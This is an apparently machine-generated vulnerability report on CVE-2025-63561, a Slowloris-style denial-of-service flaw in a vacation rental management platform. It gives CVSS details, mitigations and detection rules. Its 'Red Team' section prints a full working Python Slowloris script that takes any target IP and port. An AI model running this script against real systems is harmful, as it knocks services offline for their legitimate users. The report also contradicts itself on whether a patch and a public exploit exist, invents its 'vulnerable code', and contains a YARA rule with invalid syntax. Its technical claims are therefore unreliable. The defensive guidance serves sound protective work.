CVE-2025-63561

Executive Summary

CVE-2025-63561 identifies a Slowloris-style Denial-of-Service (DoS) vulnerability in the Summer Pearl Group Vacation Rental Management Platform prior to version 1.0.2. The flaw resides in the HTTP connection handling layer, where an attacker can open and maintain many slow or partially-completed HTTP connections, exhausting the server’s connection pool and worker capacity. This prevents legitimate users and APIs from accessing the service. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched. No public exploit code or proof-of-concept is available, but the attack vector is well-understood and can be weaponized with standard Slowloris tools.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) and does not involve a supply chain component. The affected software is a proprietary web application from Summer Pearl Group.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The threat level is High due to the ease of exploitation (no authentication required) and the direct impact on service availability. An attacker can cause a complete denial of service with minimal resources.

Deep Dive & Mechanics

The vulnerability is a classic Slowloris-style attack. The web server (likely Apache or Nginx) is configured to accept a limited number of concurrent connections. The attacker opens multiple HTTP connections but sends incomplete requests, keeping the connections open for as long as possible. The server allocates a worker thread or process for each connection, waiting for the request to complete. By maintaining many such slow connections, the attacker exhausts the server’s connection pool, preventing new legitimate connections from being established.

Key mechanics:

• The attacker sends partial HTTP headers (e.g., GET / HTTP/1.1\r\nHost: example.com\r\nUser-Agent: ...\r\n).
• The attacker periodically sends additional headers (e.g., X-a: b\r\n) to keep the connection alive without completing the request.
• The server’s timeout for incomplete requests is longer than the interval between the attacker’s keep-alive headers.
• Once the connection pool is full, the server cannot accept new connections, resulting in a denial of service.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code is in the HTTP connection handling layer of the Summer Pearl Group Vacation Rental Management Platform. The vendor has not released a fix. Below is a conceptual comparison:

Vulnerable (pre-1.0.2):

# Simplified example of vulnerable connection handling
import socket
import threading

def handle_connection(conn):
    data = conn.recv(1024)
    # No timeout or incomplete request handling
    while not data.endswith(b'\r\n\r\n'):
        data += conn.recv(1024)
    # Process request...
    conn.close()

server = socket.socket()
server.listen(100)  # Connection pool of 100
while True:
    conn, addr = server.accept()
    threading.Thread(target=handle_connection, args=(conn,)).start()

Patched (hypothetical):

# Patched version with timeout and connection limits
import socket
import threading

def handle_connection(conn):
    conn.settimeout(10)  # Timeout for incomplete requests
    try:
        data = conn.recv(1024)
        while not data.endswith(b'\r\n\r\n'):
            data += conn.recv(1024)
        # Process request...
    except socket.timeout:
        conn.close()
    finally:
        conn.close()

server = socket.socket()
server.listen(100)
while True:
    conn, addr = server.accept()
    threading.Thread(target=handle_connection, args=(conn,)).start()

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x
• Target: Summer Pearl Group Vacation Rental Management Platform < 1.0.2

Exploit Script (Slowloris variant):

#!/usr/bin/env python3
import socket
import time
import sys

def slowloris(target_ip, target_port, num_connections=200):
    sockets = []
    for _ in range(num_connections):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(4)
            s.connect((target_ip, target_port))
            s.send(b"GET / HTTP/1.1\r\nHost: " + target_ip.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\n")
            sockets.append(s)
        except:
            pass
    print(f"Opened {len(sockets)} connections")
    while True:
        for s in sockets[:]:
            try:
                s.send(b"X-a: b\r\n")
            except:
                sockets.remove(s)
        time.sleep(10)

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python3 slowloris.py <target_ip> <target_port>")
        sys.exit(1)
    slowloris(sys.argv[1], int(sys.argv[2]))

Usage:

python3 slowloris.py 192.168.1.100 80

Blue Team

Detection and Mitigation:

• Monitor for a high number of connections from a single IP with incomplete HTTP requests.
• Use a Web Application Firewall (WAF) or reverse proxy (e.g., Nginx, HAProxy) to limit connection rates.
• Configure server timeouts for incomplete requests (e.g., request_terminate_timeout in PHP-FPM, Timeout in Apache).
• Implement connection rate limiting using iptables or fail2ban.

Lab Setup for Testing:

1. Deploy a vulnerable instance of the platform (version < 1.0.2) in a controlled environment.
2. Use the exploit script to simulate the attack.
3. Monitor server logs and resource usage to observe the DoS condition.

Indicators of Compromise (IOCs)

• Network IOCs:
  • High number of concurrent connections from a single IP address.
  • Incomplete HTTP requests (e.g., missing \r\n\r\n at the end of headers).
  • Connections that remain open for extended periods without completing a request.
• Log IOCs:
  • Web server logs showing repeated GET / HTTP/1.1 requests with no subsequent data.
  • Error logs indicating connection pool exhaustion (e.g., "connection refused" or "too many open files").
• System IOCs:
  • High CPU or memory usage due to many idle worker processes.
  • Server becoming unresponsive to legitimate HTTP requests.

Detection Engineering

YARA Rule

rule slowloris_http_connections {
    meta:
        description = "Detects Slowloris-style DoS attack patterns in network traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63561"
    strings:
        $http_get = "GET / HTTP/1.1"
        $http_host = "Host:"
        $http_keep_alive = "X-a:"
    condition:
        # of ($http_get) > 10 and # of ($http_keep_alive) > 10
}

Sigma Rule

title: Slowloris DoS Attack Detection
id: 8c5f3e2a-1b4d-4f7e-9a0c-3d6e8f2a1b4c
status: experimental
description: Detects multiple incomplete HTTP connections from a single source
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-63561
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 2100001
    condition: selection
falsepositives:
    - Legitimate slow clients
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"CVE-2025-63561 Slowloris DoS Attempt"; flow:to_server,established; content:"GET / HTTP/1.1"; nocase; content:"Host:"; nocase; content:"X-a:"; nocase; threshold:type both, track by_src, count 50, seconds 60; sid:2100001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade to version 1.0.2 or later immediately.
2. Rate Limiting: Implement connection rate limiting at the network level (e.g., using iptables or a reverse proxy).
3. Timeout Configuration: Reduce server timeouts for incomplete requests (e.g., Timeout 10 in Apache, client_header_timeout 10s in Nginx).
4. Connection Pool Limits: Increase the maximum number of connections or workers, but this is a temporary measure.
5. WAF/Reverse Proxy: Deploy a Web Application Firewall or reverse proxy (e.g., Cloudflare, AWS WAF) to absorb and filter malicious traffic.

Long-Term Fixes:

• The vendor must implement proper connection handling with timeouts and incomplete request detection.
• Consider using asynchronous I/O (e.g., Node.js, asyncio) to handle many concurrent connections efficiently.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System.